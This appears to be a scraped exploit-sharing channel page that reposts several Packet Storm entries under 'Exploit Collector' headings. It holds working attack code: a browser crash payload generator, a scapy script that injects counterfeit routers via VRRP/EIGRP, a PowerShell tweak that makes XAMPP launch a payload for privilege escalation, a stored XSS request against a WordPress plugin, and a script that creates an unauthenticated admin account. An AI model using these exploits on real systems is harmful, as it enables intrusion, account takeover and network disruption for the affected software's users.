We are absolutely thrilled with the overwhelming response we have received for our ongoing bug bounty programme, and we are incredibly…Continue reading on Uno Re » (https://medium.com/uno-re/bug-bounty-programme-reward-distribution-488b7022e504?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
PASS-PHP 1.0 SQL Injection / Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Cyberfox Web Brwoser 52.9.1 Denial Of Service

https://2.bp.blogspot.com/-ZkI_NEmJcds/WWlvjl_lr_I/AAAAAAAAIQo/28S1w7dyZRc0PebCQs4RPEz7Silw5ZbpgCLcBGAs/s1600/h95.png
Cyberfox Web Browser version 52.9.1 suffers from a denial of service vulnerability.

MD5 | 53a9ae840440137e496d1a5af82f0dae

Download
# Exploit Title: Cyberfox Web Browser 52.9.1 - Denial-of-Service (PoC)
# Date: 2021-09-26
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://cyberfox.8pecxstudios.com
# Software Link: https://www.techspot.com/downloads/6568-cyberfox-web-browser.html
# Version: v52.9.1 (Possibly all versions)
# Tested on: windows

#[ About - Cyberfox ] :
#Cyberfox is a Mozilla-based Internet browser designed to take advantage of 64-bit architecture
#but a 32-bit version is also available.The application provides a higher memory performance when navigating your favorite pages.

# [ Exploit/POC ] :
# 1.Run the python script, it will create a new file "output.txt"
# 2.Run Cyberfox Web Browser
# 3.Copy the content of the file "output.txt" & Paste into the "search bar"
# 4.Crashed

Overflow = "\x41" * 9000000
try:
f=open("output.txt","w")
print("[!] Creating %s bytes DOS payload...." %len(Overflow))
f.write(Overflow)
f.close()
print("[!] File Created !")
except:
print("File cannot be created")


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Cisco Small Business RV130W 1.0.3.44 Injection

https://4.bp.blogspot.com/-gp6vAY2GXMM/WWlvG3cWkQI/AAAAAAAAILY/aMDesAGFEocqJU-7SaIaO870_Bbf2ZUHACLcBGAs/s1600/h139.png
Cisco Small Business RV130W version 1.0.3.44 exploit that injects counterfeit routers.

MD5 | 8105912f99299f70ea04dd7e3b10d5e3

Download
# Exploit Title: Cisco small business RV130W 1.0.3.44 - Inject Counterfeit Routers
# Date: 24/09/2021
# Exploit Author: Michael Alamoot
# Vendor Homepage: https://www.cisco.com/
# Version: RV130W 1.0.3.44
# Tested on: Kali linux

#! /usr/bin/env python3
from scapy.contrib.eigrp import EIGRPAuthData
from scapy.contrib.eigrp import EIGRPIntRoute
from scapy.contrib.eigrp import EIGRPGeneric
from scapy.contrib.eigrp import EIGRPSeq
from scapy.contrib.eigrp import EIGRP
from scapy.layers.vrrp import VRRPv3
from scapy.layers.vrrp import VRRP
from scapy.layers.l2 import Ether
from scapy.layers.inet import IP
from scapy.sendrecv import sendp
from scapy.volatile import RandMAC
from scapy.all import conf
import socket,networkx,os
import argparse,sys,asyncio

class argX:
def __init__(self):
self.parser = argparse.ArgumentParser(description="...")
self.parser.add_argument(
"-i","--ip",
help="ip router fake injection",
dest="ip",
)
self.parser.add_argument(
"-r","--ip-router",
help="ip router root",
dest="router",
default=conf.route.route('0.0.0.0')[2]
)

def argvX(self):
""" [0] ip-router [1] ip-fake """
args = self.parser.parse_args()
ip = args.ip
route = args.router
return [ip,route]
class exploit(object):

def __new__(cls,*args,**kwargs):
return super(exploit,cls).__new__(cls)

def __init__(self,IProuter,InjectFackeRouter):
self.IProuter = IProuter
self.InjectFackeRouter = InjectFackeRouter
self.MAC = RandMAC()

def pyload(self):
pyload = Ether()/IP(src=self.IProuter,dst="224.0.0.18")\
/VRRPv3(version=3,type=1,vrid=1,priority=100,res=0,adv=100,addrlist=self.InjectFackeRouter)\
/IP(src=self.IProuter,dst="224.0.0.10") \
/EIGRP(opcode="Update",asn=100,seq=0,ack=0
,tlvlist=[EIGRPIntRoute(dst=self.InjectFackeRouter,nexthop=self.IProuter)])
return pyload

def start(self,count=[0,100]):
for i in range(count[0],count[1]):
sendp(self.pyload(),verbose=0,return_packets=False,inter=0,loop=0)
print(f"\033[41m PACKET \033[0m Injection fake routers {self.IProuter} {self.InjectFackeRouter} \033[31m{i}\033[0m")

if __name__ == "__main__":
a = argX().argvX()
if a[0]:
net1 = exploit(IProuter=a[1],InjectFackeRouter=a[0])
net1.start()
else:
print("[-h] [--help]")


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Trojan-Downloader.Win32.VB.abb Insecure Permissions

https://4.bp.blogspot.com/-gQsa2Au6OFw/WWlvKe9cGFI/AAAAAAAAIME/7MuhuX3Jqy0CeEu0oyVXmXST8BDpKvIGgCLcBGAs/s1600/h15.png
Trojan-Downloader.Win32.VB.abb malware suffers from an insecure permissions vulnerability.

MD5 | 7020f4386ea41a1c414771c49ad351a6

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/8f81373b0f0e6f60206a1a707de2ed77.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Downloader.Win32.VB.abb
Vulnerability: Insecure Permissions
Description: The malware creates an executable with an ".axd" extension and insecure permissions under c:\ drive granting change (C) permissions to the authenticated user group. Standard users can rename the executable dropped by the malware to disable it or replace it with their own executable. Then wait for a privileged user to logon to the infected machine to potentially escalate privileges.
Type: PE32
MD5: 8f81373b0f0e6f60206a1a707de2ed77
Vuln ID: MVID-2021-0345
Dropped files: WINDOWSsystem32adoax.axd
Disclosure: 09/25/2021

Exploit/PoC:
C:\>cacls WINDOWSsystem32adoax.axd
C:\WINDOWSsystem32adoax.axd BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
XAMPP 7.4.3 Privilege Escalation

https://3.bp.blogspot.com/-nGXsE6SnJzg/WWlu_4hmLPI/AAAAAAAAIKI/Orx5Bzmw2Dg1C2Ys8CQM09j0YgXq__7zgCLcBGAs/s1600/h120.png
XAMPP version 7.4.3 suffers from a local privilege escalation vulnerability.

MD5 | 8d79f4e52bb5093cf49c0944c183d58f

Download
# Exploit Title: XAMPP 7.4.3 - Local Privilege Escalation
# Exploit Author: Salman Asad (@deathflash1411, salman@defmax.io)
# Original Author: Maximilian Barz (@S1lkys)
# Date: 27/09/2021
# Vendor Homepage: https://www.apachefriends.org
# Version: XAMPP < 7.2.29, 7.3.x < 7.3.16 & 7.4.x < 7.4.4
# Tested on: Windows 10 + XAMPP 7.3.10
# References: https://github.com/S1lkys/CVE-2020-11107

$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
# Insert your payload path here
$replace = "C:\temp\msf.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $file

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Agent.aer Denial Of Service

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
CMS Made Simple 2.1.3 Remote Code Execution

https://4.bp.blogspot.com/-gQsa2Au6OFw/WWlvKe9cGFI/AAAAAAAAIME/7MuhuX3Jqy0CeEu0oyVXmXST8BDpKvIGgCLcBGAs/s1600/h15.png
CMS Made Simple version 2.1.3 details on how to achieve remote code execution.

MD5 | 1d05bbd0a0739e3bf334b6bce440369c

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress Wappointment 2.2.4 Cross Site Scripting

https://3.bp.blogspot.com/-sRAbWielMtM/WWlvVvmDA-I/AAAAAAAAIN8/PunzJUFKKskcHl_zTOrA6xP6ETTvhbejQCLcBGAs/s1600/h46.png
WordPress Wappointment plugin version 2.2.4 suffers from a persistent cross site scripting vulnerability.

MD5 | 06d4d37cea6659e1b1dea2a83e10132f

Download
# Exploit Title: WordPress Plugin Wappointment 2.2.4 - Stored Cross-Site Scripting (XSS)
# Date: 2021-07-31
# Exploit Author: Renos Nikolaou
# Software Link: https://downloads.wordpress.org/plugin/wappointment.2.2.4.zip
# Version: 2.2.4
# Tested on: Windows
# Description : Wappointment is prone to Stored Cross Site Scripting vulnerabilities
# because it fails to properly sanitize user-supplied input.

# PoC - Stored XSS - Parameter: name
# 1) Open Wappointment Plugin or Visit booking-page http://localhost/booking-page
# 2) Click on any available delivery modality (By Phone, At a Location, Video Meeting or By Skype)
# 3) Select Date and Time, write your email address, your phone number and in the Full Name field type: testname">x
# 4) Click Confirm
# 5) Login as admin to wp-admin portal, Go to Wappointment --> Calendar ( http://localhost/wordpress/wp-admin/admin.php?page=wappointment_calendar )
# Post Request (Step 4):

POST /wordpress/wp-json/wappointment/v1/services/booking HTTP/1.1
Host: domain.com
Content-Length: 205
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Type: application/json
Origin: http://domain.com
Referer: http://domain.com/wordpress/booking-page/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"email":"testemail@testemail.com","name":"testname\">x ","phone":"+00 00 000000","time":1630666800,"ctz":"Europe/Bucharest","service":1,"location":3,"duration":90,"staff_id":2}

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Simple Attendance System 1.0 Authentication Bypass

https://1.bp.blogspot.com/-qwhQ-DvjXeo/WWlvAVNcU1I/AAAAAAAAIKM/AQaWmoLkqQQ6jMUPY28Kv2eNsZnw7PnKQCLcBGAs/s1600/h122.png
Simple Attendance System version 1.0 authentication bypass exploit that adds an administrator.

MD5 | b2f87481c6c45cf469745634e60b237d

Download
# Exploit Title: Simple Attendance System v1.0 - Unauthenticated Add Admin Account
# Exploit Author: Richard Jones
# Date: September 26, 2021
# Vendor Homepage: https://www.sourcecodester.com/php/14948/simple-attendance-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14948&title=Simple+Attendance+System+in+PHP+and+SQLite+Free+Source+Code
# Tested on: Kali Linux, Apache, Mysql
# Vendor: oretnom23
# Version: v1.0
# Exploit Description:
# Simple Attendance System v1.0 v1.0 suffers Unauthenticated Add Administration Account. We can craft a post request to add an admin account to the applicaiton without authentication.
# Usage: python3 attendance_poc.py -u admin1 -p admin1 -url http://localhost/attendance/
# Then login to the app at http://localhost/attendance/login.php to be logged as admin.
import requests
import argparse
def createAccount(args):
try:
data = f'id=&fullname={args.username}&username={args.password}&type=1'
headers = {"Content-Type": "application/x-www-form-urlencoded"}
r = requests.post(url=f"{args.host}Actions.php?a=save_user", data=data, headers=headers)
if r. status_code == 200:
resp = r.text
if "Username already exists." in resp:
print(f"Username \"{args.username}\" taken!\nChange it and try again. ")
if "New User successfully saved." in resp:
print("Created User")
print(f"Username: {args.username}\nPassword: {args.password}")
print(f"\nPlease try to login here: {args.url}login.php")
except:
print("Unknown Error, Check URL and try again.")
def main():
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--username", help="Username to create", required=True)
parser.add_argument("-p", "--password", help="Password for the user account", required=True)
parser.add_argument("-url", "--host", help="Host for the webapp eg: http://localhost/attendance/ <<
args = parser.parse_args()

createAccount(args)
if __name__ == "__main__":
main()

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video